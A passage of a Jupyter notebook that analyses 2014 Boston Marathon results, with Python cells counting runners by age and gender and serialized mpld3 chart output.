\"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 8, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 11, \"data\": \"data01\", \"id\": \"el126114430846224\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"axes\", \"dasharray\": \"10,0\", \"zorder\": 1000001.0, \"alpha\": 1, \"xindex\": 0, \"data\": \"data55\", \"id\": \"el126114430857424\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"axes\", \"dasharray\": \"10,0\", \"zorder\": 1000001.0, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data55\", \"id\": \"el126114430858704\"}, {\"edgecolor\": \"#000000\", \"facecolor\": \"#FFFFFF\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"axes\", \"dasharray\": \"10,0\", \"zorder\": 1000001.0, \"alpha\": 1, \"xindex\": 0, \"data\": \"data56\", \"id\": \"el126114430847632\"}], \"sharey\": [], \"sharex\": [], \"axesbgalpha\": null, \"axes\": [{\"scale\": \"linear\", \"tickformat\": null, \"grid\": {\"color\": \"#FFFFFF\", \"alpha\": 1.0, \"dasharray\": \"10,0\", \"gridOn\": true}, \"fontsize\": 10.0, \"position\": \"bottom\", \"nticks\": 8, \"tickvalues\": null}, {\"scale\": \"linear\", \"tickformat\": null, \"grid\": {\"color\": \"#FFFFFF\", \"alpha\": 1.0, \"dasharray\": \"10,0\", \"gridOn\": true}, \"fontsize\": 10.0, \"position\": \"left\", \"nticks\": 10, \"tickvalues\": null}], \"lines\": [], \"markers\": [], \"id\": \"el126114423957840\", \"ydomain\": [0.0, 450.0], \"collections\": [], \"xscale\": \"linear\", \"bbox\": [0.125, 0.125, 0.77500000000000002, 0.77500000000000002]}], \"height\": 400.0, \"width\": 800.0, \"plugins\": [{\"type\": \"reset\"}, {\"enabled\": false, \"button\": true, \"type\": \"zoom\"}, {\"enabled\": false, \"button\": true, \"type\": \"boxzoom\"}], \"data\": {\"data42\": [[61.0, 0.0, 0.0], [61.8, 0.0, 0.0], [61.8, 114.0, 19.0], [61.0, 114.0, 19.0]], \"data43\": [[62.0, 0.0], [62.8, 0.0], [62.8, 101.0], [62.0, 101.0]], \"data40\": [[59.0, 0.0, 0.0], [59.8, 0.0, 0.0], [59.8, 98.0, 20.0], [59.0, 98.0, 20.0]], \"data41\": [[60.0, 0.0, 0.0], [60.8, 0.0, 0.0], [60.8, 163.0, 15.0], [60.0, 163.0, 15.0]], \"data46\": [[65.0, 0.0], [65.8, 0.0], [65.8, 52.0], [65.0, 52.0]], \"data47\": [[66.0, 0.0, 0.0], [66.8, 0.0, 0.0], [66.8, 34.0, 3.0], [66.0, 34.0, 3.0]], \"data44\": [[63.0, 0.0], [63.8, 0.0], [63.8, 66.0], [63.0, 66.0]], \"data45\": [[64.0, 0.0], [64.8, 0.0], [64.8, 49.0], [64.0, 49.0]], \"data48\": [[68.0, 0.0], [68.8, 0.0], [68.8, 16.0], [68.0, 16.0]], \"data49\": [[70.0, 0.0, 0.0], [70.8, 0.0, 0.0], [70.8, 10.0, 1.0], [70.0, 10.0, 1.0]], \"data50\": [[71.0, 0.0], [71.8, 0.0], [71.8, 2.0], [71.0, 2.0]], \"data53\": [[74.0, 0.0, 77.0, 79.0], [74.8, 0.0, 77.8, 79.8], [74.8, 0.0, 77.8, 79.8], [74.0, 0.0, 77.0, 79.0]], \"data28\": [[46.0, 0.0, 0.0], [46.8, 0.0, 0.0], [46.8, 383.0, 218.0], [46.0, 383.0, 218.0]], \"data06\": [[23.0, 0.0, 0.0], [23.8, 0.0, 0.0], [23.8, 70.0, 99.0], [23.0, 70.0, 99.0]], \"data52\": [[73.0, 0.0, 75.0], [73.8, 0.0, 75.8], [73.8, 3.0, 75.8], [73.0, 3.0, 75.0]], \"data08\": [[25.0, 0.0, 0.0], [25.8, 0.0, 0.0], [25.8, 126.0, 153.0], [25.0, 126.0, 153.0]], \"data09\": [[26.0, 0.0, 0.0, 49.0], [26.8, 0.0, 0.0, 49.8], [26.8, 158.0, 168.0, 49.8], [26.0, 158.0, 168.0, 49.0]], \"data20\": [[37.0, 0.0, 39.0, 0.0, 0.0], [37.8, 0.0, 39.8, 0.0, 0.0], [37.8, 244.0, 39.8, 225.0, 234.0], [37.0, 244.0, 39.0, 225.0, 234.0]], \"data21\": [[38.0, 0.0, 0.0], [38.8, 0.0, 0.0], [38.8, 280.0, 264.0], [38.0, 280.0, 264.0]], \"data22\": [[40.0, 0.0, 0.0], [40.8, 0.0, 0.0], [40.8, 308.0, 235.0], [40.0, 308.0, 235.0]], \"data05\": [[22.0, 0.0, 0.0, 53.0], [22.8, 0.0, 0.0, 53.8], [22.8, 48.0, 53.0, 53.8], [22.0, 48.0, 53.0, 53.0]], \"data02\": [[19.0, 0.0, 67.0, 0.0, 0.0, 68.0], [19.8, 0.0, 67.8, 0.0, 0.0, 68.8], [19.8, 12.0, 67.8, 14.0, 0.0, 68.8], [19.0, 12.0, 67.0, 14.0, 0.0, 68.0]], \"data04\": [[21.0, 0.0, 0.0], [21.8, 0.0, 0.0], [21.8, 44.0, 34.0], [21.0, 44.0, 34.0]], \"data26\": [[44.0, 0.0, 0.0], [44.8, 0.0, 0.0], [44.8, 265.0, 187.0], [44.0, 265.0, 187.0]], \"data01\": [[18.0, 0.0, 69.0, 0.0, 62.0, 63.0, 64.0, 65.0, 0.0, 71.0, 72.0, 73.0], [18.8, 0.0, 69.8, 0.0, 62.8, 63.8, 64.8, 65.8, 0.0, 71.8, 72.8, 73.8], [18.8, 8.0, 69.8, 5.0, 62.8, 63.8, 64.8, 65.8, 0.0, 71.8, 72.8, 73.8], [18.0, 8.0, 69.0, 5.0, 62.0, 63.0, 64.0, 65.0, 0.0, 71.0, 72.0, 73.0]], \"data55\": [[0.8412718413978496, 0.929032258064516, 0.8655913978494622], [0.8842825940860216, 0.929032258064516, 0.8655913978494622], [0.8842825940860216, 0.9591397849462364, 0.8956989247311826], [0.8412718413978496, 0.9591397849462364, 0.8956989247311826]], \"data23\": [[41.0, 0.0, 0.0], [41.8, 0.0, 0.0], [41.8, 324.0, 260.0], [41.0, 324.0, 260.0]], \"data51\": [[72.0, 0.0], [72.8, 0.0], [72.8, 4.0], [72.0, 4.0]], \"data24\": [[42.0, 0.0], [42.8, 0.0], [42.8, 323.0], [42.0, 323.0]], \"data56\": [[0.8326696908602151, 0.8387096774193546], [0.9892473118279571, 0.8387096774193546], [0.9892473118279571, 0.9784946236559137], [0.8326696908602151, 0.9784946236559137], [0.8326696908602151, 0.8387096774193546]], \"data03\": [[20.0, 0.0, 0.0], [20.8, 0.0, 0.0], [20.8, 27.0, 23.0], [20.0, 27.0, 23.0]], \"data27\": [[45.0, 0.0, 0.0], [45.8, 0.0, 0.0], [45.8, 434.0, 251.0], [45.0, 434.0, 251.0]], \"data07\": [[24.0, 0.0, 0.0], [24.8, 0.0, 0.0], [24.8, 96.0, 152.0], [24.0, 96.0, 152.0]], \"data54\": [[76.0, 0.0, 78.0], [76.8, 0.0, 78.8], [76.8, 1.0, 78.8], [76.0, 1.0, 78.0]], \"data37\": [[55.0, 0.0, 0.0], [55.8, 0.0, 0.0], [55.8, 272.0, 68.0], [55.0, 272.0, 68.0]], \"data36\": [[54.0, 0.0, 0.0, 56.0], [54.8, 0.0, 0.0, 56.8], [54.8, 210.0, 66.0, 56.8], [54.0, 210.0, 66.0, 56.0]], \"data35\": [[53.0, 0.0], [53.8, 0.0], [53.8, 257.0], [53.0, 257.0]], \"data34\": [[52.0, 0.0, 0.0], [52.8, 0.0, 0.0], [52.8, 301.0, 108.0], [52.0, 301.0, 108.0]], \"data25\": [[43.0, 0.0, 0.0], [43.8, 0.0, 0.0], [43.8, 288.0, 217.0], [43.0, 288.0, 217.0]], \"data32\": [[50.0, 0.0, 0.0], [50.8, 0.0, 0.0], [50.8, 376.0, 173.0], [50.0, 376.0, 173.0]], \"data31\": [[49.0, 0.0], [49.8, 0.0], [49.8, 325.0], [49.0, 325.0]], \"data30\": [[48.0, 0.0, 0.0], [48.8, 0.0, 0.0], [48.8, 309.0, 198.0], [48.0, 309.0, 198.0]], \"data39\": [[58.0, 0.0, 0.0], [58.8, 0.0, 0.0], [58.8, 159.0, 28.0], [58.0, 159.0, 28.0]], \"data38\": [[56.0, 0.0], [56.8, 0.0], [56.8, 252.0], [56.0, 252.0]], \"data19\": [[36.0, 0.0, 0.0], [36.8, 0.0, 0.0], [36.8, 208.0, 283.0], [36.0, 208.0, 283.0]], \"data18\": [[35.0, 0.0, 0.0, 42.0], [35.8, 0.0, 0.0, 42.8], [35.8, 243.0, 253.0, 42.8], [35.0, 243.0, 253.0, 42.0]], \"data15\": [[32.0, 0.0, 0.0], [32.8, 0.0, 0.0], [32.8, 182.0, 190.0], [32.0, 182.0, 190.0]], \"data14\": [[31.0, 0.0, 0.0], [31.8, 0.0, 0.0], [31.8, 188.0, 183.0], [31.0, 188.0, 183.0]], \"data17\": [[34.0, 0.0, 57.0, 0.0], [34.8, 0.0, 57.8, 0.0], [34.8, 180.0, 57.8, 33.0], [34.0, 180.0, 57.0, 33.0]], \"data16\": [[33.0, 0.0, 0.0], [33.8, 0.0, 0.0], [33.8, 215.0, 172.0], [33.0, 215.0, 172.0]], \"data11\": [[28.0, 0.0, 0.0], [28.8, 0.0, 0.0], [28.8, 171.0, 209.0], [28.0, 171.0, 209.0]], \"data10\": [[27.0, 0.0, 0.0], [27.8, 0.0, 0.0], [27.8, 166.0, 206.0], [27.0, 166.0, 206.0]], \"data13\": [[30.0, 0.0, 0.0], [30.8, 0.0, 0.0], [30.8, 211.0, 185.0], [30.0, 211.0, 185.0]], \"data12\": [[29.0, 0.0, 0.0], [29.8, 0.0, 0.0], [29.8, 164.0, 213.0], [29.0, 164.0, 213.0]], \"data29\": [[47.0, 0.0, 0.0], [47.8, 0.0, 0.0], [47.8, 343.0, 197.0], [47.0, 343.0, 197.0]], \"data33\": [[51.0, 0.0, 0.0], [51.8, 0.0, 0.0], [51.8, 348.0, 135.0], [51.0, 348.0, 135.0]]}, \"id\": \"el126114423497424\"});\n", " })\n", " });\n", "}\n", "</script>" ], "metadata": {}, "output_type": "pyout", "prompt_number": 6, "text": [ "<IPython.core.display.HTML at 0x108195ed0>" ] } ], "prompt_number": 6 }, { "cell_type": "code", "collapsed": false, "input": [ "def minutes(time):\n", " parts = [int(x) for x in runners[105]['official'].split(':')]\n", " return parts[0] * 60 + parts[1] + parts[2]/60." ], "language": "python", "metadata": {}, "outputs": [], "prompt_number": 7 }, { "cell_type": "code", "collapsed": false, "input": [ "r2014 = cPickle.load(file(\"results/2014/results.pkl\"))" ], "language": "python", "metadata": {}, "outputs": [], "prompt_number": 15 }, { "cell_type": "code", "collapsed": false, "input": [ "len(r2014)" ], "language": "python", "metadata": {}, "outputs": [ { "metadata": {}, "output_type": "pyout", "prompt_number": 16, "text": [ "31984" ] } ], "prompt_number": 16 }, { "cell_type": "code", "collapsed": false, "input": [ "r2014[\"30592\"]" ], "language": "python", "metadata": {}, "outputs": [ { "metadata": {}, "output_type": "pyout", "prompt_number": 17, "text": [ "{'10k': u'1:05:10',\n", " '20k': u'2:09:08',\n", " '25k': u'2:48:22',\n", " '30k': u'3:25:35',\n", " '35k': u'4:14:55',\n", " '40k': u'5:19:26',\n", " '5k': u'0:33:01',\n", " 'age': u'37',\n", " 'bib': u'30592',\n", " 'city': u'Portland',\n", " 'country': u'USA',\n", " 'ctz': u'',\n", " 'division': u'6476',\n", " 'gender': u'F',\n", " 'genderdiv': u'13327',\n", " 'half': u'2:16:18',\n", " 'name': u'Wood, Samantha L.',\n", " 'official': u'5:39:06',\n", " 'overall': u'30071',\n", " 'pace': u'0:12:57',\n", " 'state': u'ME'}" ] } ], "prompt_number": 17 }, { "cell_type": "code", "collapsed": false, "input": [ "from collections import Counter\n", "men = Counter(int(x['age']) for x in r2014.itervalues() if x['gender']==\"M\")\n", "mxs = range(min(men.keys()), max(men.keys()))\n", "mys = [men[i] for i in mxs]\n", "\n", "wmn = Counter(int(x['age']) for x in r2014.itervalues() if x['gender']==\"F\")\n", "wxs = range(min(wmn.keys()), max(wmn.keys()))\n", "wys = [wmn[i] for i in wxs]\n", "\n", "fig = plt.figure(figsize=(10,5))\n", "ax = fig.add_subplot(111, axisbg='#EEEEEE', title=\"2014 Boston Marathon participants, by age and gender\")\n", "ax.grid(color='white', linestyle='solid')\n", "b1 = ax.bar(mxs, mys, color='lightblue', alpha=1, edgecolor=\"white\", label=\"Men\")\n", "b2 = ax.bar(wxs, wys, color='pink', alpha=0.6, edgecolor=\"white\", label=\"Women\")\n", "ax.legend()\n", "\n", "mpld3.display()" ], "language": "python", "metadata": {}, "outputs": [ { "html": [ "\n", "\n", "<style>\n", "\n", "</style>\n", "\n", "<div id=\"fig_el1261144309851043272034110\"></div>\n", "<script>\n", "function mpld3_load_lib(url, callback){\n", " var s = document.createElement('script');\n", " s.src = url;\n", " s.async = true;\n", " s.onreadystatechange = s.onload = callback;\n", " s.onerror = function(){console.warn(\"failed to load library \" + url);};\n", " document.getElementsByTagName(\"head\")[0].appendChild(s);\n", "}\n", "\n", "if(typeof(mpld3) !== \"undefined\" && mpld3._mpld3IsLoaded){\n", " // already loaded: just create the figure\n", " !function(mpld3){\n", " \n", " mpld3.draw_figure(\"fig_el1261144309851043272034110\", {\"axes\": [{\"xlim\": [10.0, 90.0], \"yscale\": \"linear\", \"axesbg\": \"#EEEEEE\", \"texts\": [{\"v_baseline\": \"auto\", \"h_anchor\": \"middle\", \"color\": \"#000000\", \"text\": \"2014 Boston Marathon participants, by age and gender\", \"coordinates\": \"axes\", \"zorder\": 3, \"alpha\": 1, \"fontsize\": 12.0, \"position\": [0.5, 1.0179211469534051], \"rotation\": -0.0, \"id\": \"el126114701792976\"}, {\"v_baseline\": \"auto\", \"h_anchor\": \"start\", \"color\": \"#000000\", \"text\": \"Men\", \"coordinates\": \"axes\", \"zorder\": 1000003.0, \"alpha\": 1, \"fontsize\": 12.0, \"position\": [0.90148689516129055, 0.92903225806451595], \"rotation\": -0.0, \"id\": \"el126114702671056\"}, {\"v_baseline\": \"auto\", \"h_anchor\": \"start\", \"color\": \"#000000\", \"text\": \"Women\", \"coordinates\": \"axes\", \"zorder\": 1000003.0, \"alpha\": 1, \"fontsize\": 12.0, \"position\": [0.90148689516129055, 0.86559139784946215], \"rotation\": -0.0, \"id\": \"el126114702672272\"}], \"zoomable\": true, \"images\": [], \"xdomain\": [10.0, 90.0], \"ylim\": [0.0, 700.0], \"paths\": [{\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data01\", \"id\": \"el126114701857808\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data02\", \"id\": \"el126114701859664\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data03\", \"id\": \"el126114701877776\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data04\", \"id\": \"el126114701879440\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data05\", \"id\": \"el126114701893456\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data06\", \"id\": \"el126114701895120\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data07\", \"id\": \"el126114701896400\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data08\", \"id\": \"el126114701914896\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data09\", \"id\": \"el126114701916560\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data10\", \"id\": \"el126114701926480\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data11\", \"id\": \"el126114701928144\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data12\", \"id\": \"el126114701929424\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data13\", \"id\": \"el126114701943824\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data14\", \"id\": \"el126114701945488\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data15\", \"id\": \"el126114701955408\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data16\", \"id\": \"el126114701957072\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data17\", \"id\": \"el126114701975184\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data18\", \"id\": \"el126114701976848\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data19\", \"id\": \"el126114701978512\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data20\", \"id\": \"el126114701988432\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data21\", \"id\": \"el126114701990096\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data22\", \"id\": \"el126114702004112\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data23\", \"id\": \"el126114702005776\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data24\", \"id\": \"el126114702007056\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data25\", \"id\": \"el126114702021456\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data26\", \"id\": \"el126114702023120\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data27\", \"id\": \"el126114702037136\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data28\", \"id\": \"el126114702038800\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data29\", \"id\": \"el126114702052816\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data30\", \"id\": \"el126114702054480\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data31\", \"id\": \"el126114702056144\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data32\", \"id\": \"el126114702074256\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data33\", \"id\": \"el126114702075920\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data34\", \"id\": \"el126114702085840\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data35\", \"id\": \"el126114702087504\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data36\", \"id\": \"el126114702089168\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data37\", \"id\": \"el126114702107280\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data38\", \"id\": \"el126114702108944\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data39\", \"id\": \"el126114702114768\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": 